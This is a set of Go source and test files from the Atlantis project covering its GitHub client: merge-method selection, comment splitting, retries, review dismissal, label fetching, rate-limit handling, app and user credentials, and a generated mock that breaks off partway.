else { ErrContains(t, c.expErr, err) } }) } } // Test that if the pull request only allows a certain merge method that we // use that method func TestClient_MergePullCorrectMethod(t *testing.T) { logger := logging.NewNoopLogger(t) cases := map[string]struct { allowMerge bool allowRebase bool allowSquash bool mergeMethodOption string expMethod string expErr string }{ "all true": { allowMerge: true, allowRebase: true, allowSquash: true, expMethod: "merge", }, "all false (edge case)": { allowMerge: false, allowRebase: false, allowSquash: false, expMethod: "merge", }, "merge: false rebase: true squash: true": { allowMerge: false, allowRebase: true, allowSquash: true, expMethod: "rebase", }, "merge: false rebase: false squash: true": { allowMerge: false, allowRebase: false, allowSquash: true, expMethod: "squash", }, "merge: false rebase: true squash: false": { allowMerge: false, allowRebase: true, allowSquash: false, expMethod: "rebase", }, "all true: merge with merge: overridden by command": { allowMerge: true, allowRebase: true, allowSquash: true, mergeMethodOption: "merge", expMethod: "merge", }, "all true: merge with rebase: overridden by command": { allowMerge: true, allowRebase: true, allowSquash: true, mergeMethodOption: "rebase", expMethod: "rebase", }, "all true: merge with squash: overridden by command": { allowMerge: true, allowRebase: true, allowSquash: true, mergeMethodOption: "squash", expMethod: "squash", }, "merge with merge: overridden by command: merge not allowed": { allowMerge: false, allowRebase: true, allowSquash: true, mergeMethodOption: "merge", expMethod: "", expErr: "merge method 'merge' is not allowed by the repository Pull Request settings", }, "merge with rebase: overridden by command: rebase not allowed": { allowMerge: true, allowRebase: false, allowSquash: true, mergeMethodOption: "rebase", expMethod: "", expErr: "merge method 'rebase' is not allowed by the repository Pull Request settings", }, "merge with squash: overridden by command: squash not allowed": { allowMerge: true, allowRebase: true, allowSquash: false, mergeMethodOption: "squash", expMethod: "", expErr: "merge method 'squash' is not allowed by the repository Pull Request settings", }, "merge with unknown: overridden by command: unknown doesn't exist": { allowMerge: true, allowRebase: true, allowSquash: true, mergeMethodOption: "unknown", expMethod: "", expErr: "merge method 'unknown' is unknown. Specify one of the valid values: 'merge, rebase, squash'", }, } for name, c := range cases { t.Run(name, func(t *testing.T) { // Modify response. jsBytes, err := os.ReadFile("testdata/repo.json") Ok(t, err) resp := string(jsBytes) resp = strings.ReplaceAll(resp, `"allow_squash_merge": true`, fmt.Sprintf(`"allow_squash_merge": %t`, c.allowSquash), ) resp = strings.ReplaceAll(resp, `"allow_merge_commit": true`, fmt.Sprintf(`"allow_merge_commit": %t`, c.allowMerge), ) resp = strings.ReplaceAll(resp, `"allow_rebase_merge": true`, fmt.Sprintf(`"allow_rebase_merge": %t`, c.allowRebase), ) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/runatlantis/atlantis": w.Write([]byte(resp)) // nolint: errcheck return case "/api/v3/repos/runatlantis/atlantis/pulls/1/merge": body, err := io.ReadAll(r.Body) Ok(t, err) defer r.Body.Close() // nolint: errcheck type bodyJSON struct { MergeMethod string `json:"merge_method"` } expBody := bodyJSON{ MergeMethod: c.expMethod, } expBytes, err := json.Marshal(expBody) Ok(t, err) Equals(t, string(expBytes)+"\n", string(body)) resp := `{"sha":"6dcb09b5b57875f334f61aebed695e2e4193db5e","merged":true,"message":"Pull Request successfully merged"}` w.Write([]byte(resp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() err = client.MergePull( logger, models.PullRequest{ BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, }, Num: 1, }, models.PullRequestOptions{ DeleteSourceBranchOnMerge: false, MergeMethod: c.mergeMethodOption, }) if c.expErr == "" { Ok(t, err) } else { ErrContains(t, c.expErr, err) } }) } } func TestClient_MarkdownPullLink(t *testing.T) { client, err := github.New("hostname", &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) exp := "#1" Equals(t, exp, s) } // disableSSLVerification disables ssl verification for the global http client // and returns a function to be called in a defer that will re-enable it. func disableSSLVerification() func() { orig := http.DefaultTransport.(*http.Transport).TLSClientConfig // nolint: gosec http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} return func() { http.DefaultTransport.(*http.Transport).TLSClientConfig = orig } } func TestClient_SplitComments(t *testing.T) { logger := logging.NewNoopLogger(t) type githubComment struct { Body string `json:"body"` } githubComments := make([]githubComment, 0, 1) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method + " " + r.RequestURI { case "POST /api/v3/repos/runatlantis/atlantis/issues/1/comments": defer r.Body.Close() // nolint: errcheck body, err := io.ReadAll(r.Body) if err != nil { t.Errorf("read body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) return } requestBody := githubComment{} err = json.Unmarshal(body, &requestBody) if err != nil { t.Errorf("parse body error: %v", err) http.Error(w, "server error", http.StatusInternalServerError) return } githubComments = append(githubComments, requestBody) return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() pull := models.PullRequest{Num: 1} repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, } // create an extra long string comment := strings.Repeat("a", 65537) err = client.CreateComment(logger, repo, pull.Num, comment, command.Plan.String()) Ok(t, err) err = client.CreateComment(logger, repo, pull.Num, comment, "") Ok(t, err) body := strings.Split(githubComments[1].Body, "\n") firstSplit := strings.ToLower(body[0]) body = strings.Split(githubComments[3].Body, "\n") secondSplit := strings.ToLower(body[0]) Equals(t, 4, len(githubComments)) Assert(t, strings.Contains(firstSplit, command.Plan.String()), fmt.Sprintf("comment should contain the command name but was %q", firstSplit)) Assert(t, strings.Contains(secondSplit, "continued from previous comment"), fmt.Sprintf("comment should contain no reference to the command name but was %q", secondSplit)) } // Test that we retry the get pull request call if it 404s. func TestClient_Retry404(t *testing.T) { logger := logging.NewNoopLogger(t) var numCalls = 0 testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method + " " + r.RequestURI { case "GET /api/v3/repos/runatlantis/atlantis/pulls/1": defer r.Body.Close() // nolint: errcheck numCalls++ if numCalls < 3 { w.WriteHeader(404) } else { w.WriteHeader(200) } return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, } _, err = client.GetPullRequest(logger, repo, 1) Ok(t, err) Equals(t, 3, numCalls) } // Test that we retry the get pull request files call if it 404s. func TestClient_Retry404Files(t *testing.T) { logger := logging.NewNoopLogger(t) var numCalls = 0 testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.Method + " " + r.RequestURI { case "GET /api/v3/repos/runatlantis/atlantis/pulls/1/files?per_page=300": defer r.Body.Close() // nolint: errcheck numCalls++ if numCalls < 3 { w.WriteHeader(404) } else { w.WriteHeader(200) } return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() repo := models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.Github, Hostname: "github.com", }, } pr := models.PullRequest{Num: 1} _, err = client.GetModifiedFiles(logger, repo, pr) Ok(t, err) Equals(t, 3, numCalls) } // GetTeamNamesForUser returns a list of team names for a user. func TestClient_GetTeamNamesForUser(t *testing.T) { logger := logging.NewNoopLogger(t) // Mocked GraphQL response for two teams resp := `{ "data":{ "organization": { "teams":{ "edges":[ {"node":{"name": "Frontend Developers", "slug":"frontend-developers"}}, {"node":{"name": "Employees", "slug":"employees"}} ], "pageInfo":{ "endCursor":"Y3Vyc29yOnYyOpHOAFMoLQ==", "hasNextPage":false } } } } }` testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/graphql": w.Write([]byte(resp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logger) Ok(t, err) defer disableSSLVerification()() teams, err := client.GetTeamNamesForUser( logger, models.Repo{ Owner: "testrepo", }, models.User{ Username: "testuser", }) Ok(t, err) Equals(t, []string{"frontend-developers", "employees"}, teams) } func TestClient_DiscardReviews(t *testing.T) { logger := logging.NewNoopLogger(t) type ResponseDef struct { httpCode int body string } type fields struct { responses []ResponseDef } type args struct { repo models.Repo pull models.PullRequest } queryResponseSingleReview := `{ "data": { "repository": { "pullRequest": { "reviewDecision": "APPROVED", "reviews": { "nodes": [ { "id": "PRR_kwDOFxULt85HBb7A", "submittedAt": "2022-11-23T12:28:30Z", "author": { "login": "atlantis-test" } } ] } } } } }` queryResponseMultipleReviews := `{ "data": { "repository": { "pullRequest": { "reviewDecision": "APPROVED", "reviews": { "nodes": [ { "id": "PRR_kwDOFxULt85HBb7A", "submittedAt": "2022-11-23T12:28:30Z", "author": { "login": "atlantis-test" } }, { "id": "PRR_kwDOFxULt85HBb7B", "submittedAt": "2022-11-23T14:28:30Z", "author": { "login": "atlantis-test2" } } ] } } } } }` mutationResponseSingleReviewDismissal := `{ "data": { "dismissPullRequestReview": { "pullRequestReview": { "id": "PRR_kwDOFxULt85HBb7A" } } } }` tests := []struct { name string fields fields args args wantErr bool }{ { name: "return no error if dismissing a single approval", fields: fields{ responses: []ResponseDef{ { httpCode: 200, body: queryResponseSingleReview, }, { httpCode: 200, body: mutationResponseSingleReviewDismissal, }, }, }, args: args{}, wantErr: false, }, { name: "return no error if dismissing multiple reviews", fields: fields{ responses: []ResponseDef{ { httpCode: 200, body: queryResponseMultipleReviews, }, { httpCode: 200, body: mutationResponseSingleReviewDismissal, }, { httpCode: 200, body: mutationResponseSingleReviewDismissal, }, }, }, args: args{}, wantErr: false, }, { name: "return error if query fails", fields: fields{ responses: []ResponseDef{ { httpCode: 500, body: "", }, }, }, args: args{}, wantErr: true, }, { name: "return error if mutating fails", fields: fields{ responses: []ResponseDef{ { httpCode: 200, body: queryResponseSingleReview, }, { httpCode: 500, body: "", }, }, }, args: args{}, wantErr: true, }, { name: "return error if dismissing fails after already dismissing one", fields: fields{ responses: []ResponseDef{ { httpCode: 200, body: queryResponseMultipleReviews, }, { httpCode: 200, body: mutationResponseSingleReviewDismissal, }, { httpCode: 500, body: "", }, }, }, args: args{}, wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { // Mocked GraphQL response for two teams responseIndex := 0 responseLength := len(tt.fields.responses) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.RequestURI != "/api/graphql" { t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } Assert(t, responseIndex < responseLength, "requesting more responses than are defined") response := tt.fields.responses[responseIndex] responseIndex++ w.WriteHeader(response.httpCode) w.Write([]byte(response.body)) // nolint: errcheck })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() if err := client.DiscardReviews(logger, tt.args.repo, tt.args.pull); (err != nil) != tt.wantErr { t.Errorf("DiscardReviews() error = %v, wantErr %v", err, tt.wantErr) } Equals(t, responseLength, responseIndex) // check if all defined requests have been used }) } } func TestClient_GetPullLabels(t *testing.T) { logger := logging.NewNoopLogger(t) resp := `{ "url": "https://api.github.com/repos/runatlantis/atlantis/pulls/1", "id": 167530667, "merge_commit_sha": "3fe6aa34bc25ac3720e639fcad41b428e83bdb37", "labels": [ { "id": 1303230720, "node_id": "MDU6TGFiZWwxMzAzMjMwNzIw", "url": "https://api.github.com/repos/runatlantis/atlantis/labels/docs", "name": "docs", "color": "d87165", "default": false, "description": "Documentation" }, { "id": 2552271640, "node_id": "MDU6TGFiZWwyNTUyMjcxNjQw", "url": "https://api.github.com/repos/runatlantis/atlantis/labels/go", "name": "go", "color": "16e2e2", "default": false, "description": "Pull requests that update Go code" }, { "id": 2696098981, "node_id": "MDU6TGFiZWwyNjk2MDk4OTgx", "url": "https://api.github.com/repos/runatlantis/atlantis/labels/needs%20tests", "name": "needs tests", "color": "FBB1DE", "default": false, "description": "Change requires tests" }, { "id": 4439792681, "node_id": "LA_kwDOBy76Zc8AAAABCKHcKQ", "url": "https://api.github.com/repos/runatlantis/atlantis/labels/work-in-progress", "name": "work-in-progress", "color": "B1E20A", "default": false, "description": "" } ] }` testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/runatlantis/atlantis/pulls/1": w.Write([]byte(resp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logger) Ok(t, err) defer disableSSLVerification()() labels, err := client.GetPullLabels( logger, models.Repo{ Owner: "runatlantis", Name: "atlantis", }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, []string{"docs", "go", "needs tests", "work-in-progress"}, labels) } func TestClient_GetPullLabels_EmptyResponse(t *testing.T) { logger := logging.NewNoopLogger(t) resp := `{ "url": "https://api.github.com/repos/runatlantis/atlantis/pulls/1", "id": 167530667, "merge_commit_sha": "3fe6aa34bc25ac3720e639fcad41b428e83bdb37", "labels": [] }` testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/api/v3/repos/runatlantis/atlantis/pulls/1": w.Write([]byte(resp)) // nolint: errcheck default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{"user", "pass", ""}, github.Config{}, 0, logger) Ok(t, err) defer disableSSLVerification()() labels, err := client.GetPullLabels( logger, models.Repo{ Owner: "runatlantis", Name: "atlantis", }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, 0, len(labels)) } func TestClient_SecondaryRateLimitHandling_CreateComment(t *testing.T) { logger := logging.NewNoopLogger(t) calls := 0 maxCalls := 2 testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost || r.URL.Path != "/api/v3/repos/owner/repo/issues/1/comments" { t.Errorf("Unexpected request: %s %s", r.Method, r.URL.Path) w.WriteHeader(http.StatusNotFound) return } if calls < maxCalls { // Secondary rate limiting, x-ratelimit-remaining must be > 0 w.Header().Set("x-ratelimit-remaining", "1") w.Header().Set("x-ratelimit-reset", fmt.Sprintf("%d", time.Now().Unix()+1)) w.WriteHeader(http.StatusForbidden) w.Write([]byte(`{"message": "You have exceeded a secondary rate limit"}`)) // nolint: errcheck } else { w.WriteHeader(http.StatusCreated) w.Write([]byte(`{"id": 1, "body": "Test comment"}`)) // nolint: errcheck } calls++ }), ) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := github.New(testServerURL.Host, &github.UserCredentials{User: "user", Token: "pass"}, github.Config{}, 0, logger) Ok(t, err) defer disableSSLVerification()() // Simulate creating a comment repo := models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", } pullNum := 1 comment := "Test comment" err = client.CreateComment(logger, repo, pullNum, comment, "") Ok(t, err) // Verify that the number of calls is greater than maxCalls, indicating that retries occurred Assert(t, calls > maxCalls, "Expected more than %d calls due to rate limiting, but got %d", maxCalls, calls) } ================================================ FILE: server/events/vcs/github/config.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package github // GithubConfig allows for custom github-specific functionality and behavior type Config struct { AllowMergeableBypassApply bool } ================================================ FILE: server/events/vcs/github/credentials.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package github import ( "context" "fmt" "net/http" "net/url" "os" "strings" "github.com/bradleyfalzon/ghinstallation/v2" "github.com/google/go-github/v83/github" ) //go:generate pegomock generate --package mocks -o mocks/mock_credentials.go Credentials // GithubCredentials handles creating http.Clients that authenticate. type Credentials interface { Client() (*http.Client, error) GetToken() (string, error) GetUser() (string, error) } // GithubAnonymousCredentials expose no credentials. type AnonymousCredentials struct{} // Client returns a client with no credentials. func (c *AnonymousCredentials) Client() (*http.Client, error) { tr := http.DefaultTransport return &http.Client{Transport: tr}, nil } // GetUser returns the username for these credentials. func (c *AnonymousCredentials) GetUser() (string, error) { return "anonymous", nil } // GetToken returns an empty token. func (c *AnonymousCredentials) GetToken() (string, error) { return "", nil } // GithubUserCredentials implements GithubCredentials for the personal auth token flow. type UserCredentials struct { User string Token string TokenFile string } type UserTransport struct { Credentials *UserCredentials Transport *github.BasicAuthTransport } func (t *UserTransport) RoundTrip(req *http.Request) (*http.Response, error) { // update token token, err := t.Credentials.GetToken() if err != nil { return nil, err } t.Transport.Password = token // defer to the underlying transport return t.Transport.RoundTrip(req) } // Client returns a client for basic auth user credentials. func (c *UserCredentials) Client() (*http.Client, error) { password, err := c.GetToken() if err != nil { return nil, err } client := &http.Client{ Transport: &UserTransport{ Credentials: c, Transport: &github.BasicAuthTransport{ Username: strings.TrimSpace(c.User), Password: strings.TrimSpace(password), }, }, } return client, nil } // GetUser returns the username for these credentials. func (c *UserCredentials) GetUser() (string, error) { return c.User, nil } // GetToken returns the user token. func (c *UserCredentials) GetToken() (string, error) { if c.TokenFile != "" { content, err := os.ReadFile(c.TokenFile) if err != nil { return "", fmt.Errorf("failed reading github token file: %w", err) } return string(content), nil } return c.Token, nil } // GithubAppCredentials implements GithubCredentials for github app installation token flow. type AppCredentials struct { AppID int64 Key []byte Hostname string apiURL *url.URL InstallationID int64 tr *ghinstallation.Transport AppSlug string } // Client returns a github app installation client. func (c *AppCredentials) Client() (*http.Client, error) { itr, err := c.transport() if err != nil { return nil, err } return &http.Client{Transport: itr}, nil } // GetUser returns the username for these credentials. func (c *AppCredentials) GetUser() (string, error) { // Keeping backwards compatibility since this flag is optional if c.AppSlug == "" { return "", nil } client, err := c.Client() if err != nil { return "", fmt.Errorf("initializing client: %w", err) } ghClient := github.NewClient(client) ghClient.BaseURL = c.getAPIURL() ctx := context.Background() app, _, err := ghClient.Apps.Get(ctx, c.AppSlug) if err != nil { return "", fmt.Errorf("getting app details: %w", err) } // Currently there is no way to get the bot's login info, so this is a // hack until Github exposes that. return fmt.Sprintf("%s[bot]", app.GetSlug()), nil } // GetToken returns a fresh installation token. func (c *AppCredentials) GetToken() (string, error) { tr, err := c.transport() if err != nil { return "", fmt.Errorf("transport failed: %w", err) } return tr.Token(context.Background()) } func (c *AppCredentials) getInstallationID() (int64, error) { if c.InstallationID != 0 { return c.InstallationID, nil } tr := http.DefaultTransport // A non-installation transport t, err := ghinstallation.NewAppsTransport(tr, c.AppID, c.Key) if err != nil { return 0, err } t.BaseURL = c.getAPIURL().String() // Query github with the app's JWT client := github.NewClient(&http.Client{Transport: t}) client.BaseURL = c.getAPIURL() ctx := context.Background() installations, _, err := client.Apps.ListInstallations(ctx, nil) if err != nil { return 0, err } if len(installations) != 1 { return 0, fmt.Errorf("wrong number of installations, expected 1, found %d", len(installations)) } c.InstallationID = installations[0].GetID() return c.InstallationID, nil } func (c *AppCredentials) transport() (*ghinstallation.Transport, error) { if c.tr != nil { return c.tr, nil } installationID, err := c.getInstallationID() if err != nil { return nil, err } tr := http.DefaultTransport itr, err := ghinstallation.New(tr, c.AppID, installationID, c.Key) if err == nil { apiURL := c.getAPIURL() itr.BaseURL = strings.TrimSuffix(apiURL.String(), "/") c.tr = itr } return itr, err } func (c *AppCredentials) getAPIURL() *url.URL { if c.apiURL != nil { return c.apiURL } c.apiURL = resolveGithubAPIURL(c.Hostname) return c.apiURL } func resolveGithubAPIURL(hostname string) *url.URL { // If we're using github.com then we don't need to do any additional configuration // for the client. It we're using Github Enterprise, then we need to manually // set the base url for the API. baseURL := &url.URL{ Scheme: "https", Host: "api.github.com", Path: "/", } if hostname != "github.com" { baseURL.Host = hostname baseURL.Path = "/api/v3/" } return baseURL } ================================================ FILE: server/events/vcs/github/credentials_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package github_test import ( "testing" "github.com/runatlantis/atlantis/server/events/vcs/github" "github.com/runatlantis/atlantis/server/events/vcs/github/testdata" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestClient_GetUser_AppSlug(t *testing.T) { logger := logging.NewNoopLogger(t) defer disableSSLVerification()() testServer, err := testdata.GithubAppTestServer(t) Ok(t, err) anonCreds := &github.AnonymousCredentials{} anonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") Ok(t, err) appCreds := &github.AppCredentials{ AppID: tempSecrets.ID, Key: []byte(testdata.PrivateKey), Hostname: testServer, AppSlug: "some-app", } user, err := appCreds.GetUser() Ok(t, err) Assert(t, user == "octoapp[bot]", "user should not be empty") } func TestClient_AppAuthentication(t *testing.T) { logger := logging.NewNoopLogger(t) defer disableSSLVerification()() testServer, err := testdata.GithubAppTestServer(t) Ok(t, err) anonCreds := &github.AnonymousCredentials{} anonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") Ok(t, err) appCreds := &github.AppCredentials{ AppID: tempSecrets.ID, Key: []byte(testdata.PrivateKey), Hostname: testServer, } _, err = github.New(testServer, appCreds, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) token, err := appCreds.GetToken() Ok(t, err) newToken, err := appCreds.GetToken() Ok(t, err) user, err := appCreds.GetUser() Ok(t, err) Assert(t, user == "", "user should be empty") if token != newToken { t.Errorf("app token was not cached: %q != %q", token, newToken) } } func TestClient_MultipleAppAuthentication(t *testing.T) { logger := logging.NewNoopLogger(t) defer disableSSLVerification()() testServer, err := testdata.GithubMultipleAppTestServer(t) Ok(t, err) anonCreds := &github.AnonymousCredentials{} anonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") Ok(t, err) appCreds := &github.AppCredentials{ AppID: tempSecrets.ID, InstallationID: 1, Key: []byte(testdata.PrivateKey), Hostname: testServer, } _, err = github.New(testServer, appCreds, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) token, err := appCreds.GetToken() Ok(t, err) newToken, err := appCreds.GetToken() Ok(t, err) user, err := appCreds.GetUser() Ok(t, err) Assert(t, user == "", "user should be empty") if token != newToken { t.Errorf("app token was not cached: %q != %q", token, newToken) } } ================================================ FILE: server/events/vcs/github/instrumented_client.go ================================================ package github import ( "github.com/google/go-github/v83/github" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" "github.com/uber-go/tally/v4" ) // NewInstrumentedGithubClient creates a client proxy responsible for gathering stats and logging func NewInstrumentedGithubClient(client *Client, statsScope tally.Scope, logger logging.SimpleLogging) IGithubClient { scope := statsScope.SubScope("github") instrumentedGHClient := &common.InstrumentedClient{ Client: client, StatsScope: scope, Logger: logger, } return &InstrumentedGithubClient{ InstrumentedClient: instrumentedGHClient, PullRequestGetter: client, StatsScope: scope, Logger: logger, } } //go:generate pegomock generate --package mocks -o mocks/mock_github_pull_request_getter.go GithubPullRequestGetter type GithubPullRequestGetter interface { GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) } // IGithubClient exists to bridge the gap between GithubPullRequestGetter and Client interface to allow // for a single instrumented client type IGithubClient interface { vcs.Client GithubPullRequestGetter } // InstrumentedGithubClient should delegate to the underlying InstrumentedClient for vcs provider-agnostic // methods and implement solely any github specific interfaces. type InstrumentedGithubClient struct { *common.InstrumentedClient PullRequestGetter GithubPullRequestGetter StatsScope tally.Scope Logger logging.SimpleLogging } func (c *InstrumentedGithubClient) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) { scope := c.StatsScope.SubScope("get_pull_request") scope = common.SetGitScopeTags(scope, repo.FullName, pullNum) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) pull, err := c.PullRequestGetter.GetPullRequest(logger, repo, pullNum) if err != nil { executionError.Inc(1) logger.Err("Unable to get pull number for repo, error: %s", err.Error()) } else { executionSuccess.Inc(1) } return pull, err } ================================================ FILE: server/events/vcs/github/mocks/mock_credentials.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events/vcs/github (interfaces: Credentials) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" http "net/http" "reflect" "time" ) type MockCredentials struct { fail func(message string, callerSkip ...int) } func NewMockCredentials(options ...pegomock.Option) *MockCredentials { mock := &MockCredentials{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockCredentials) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockCredentials) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockCredentials) Client() (*http.Client, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCredentials().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("Client", _params, []reflect.Type{reflect.TypeOf((**http.Client)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 *http.Client var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(*http.Client) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCredentials) GetToken() (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCredentials().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetToken", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCredentials) GetUser() (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockCredentials().") } _params := []pegomock.Param{} _result := pegomock.GetGenericMockFrom(mock).Invoke("GetUser", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockCredentials) VerifyWasCalledOnce() *VerifierMockCredentials { return &VerifierMockCredentials{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockCredentials) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCredentials { return &VerifierMockCredentials{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockCredentials) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCredentials { return &VerifierMockCredentials{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockCredentials) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCredentials { return &VerifierMockCredentials{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockCredentials struct { mock *MockCredentials invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockCredentials) Client() *MockCredentials_Client_OngoingVerification { _params := []pegomock.Param{} 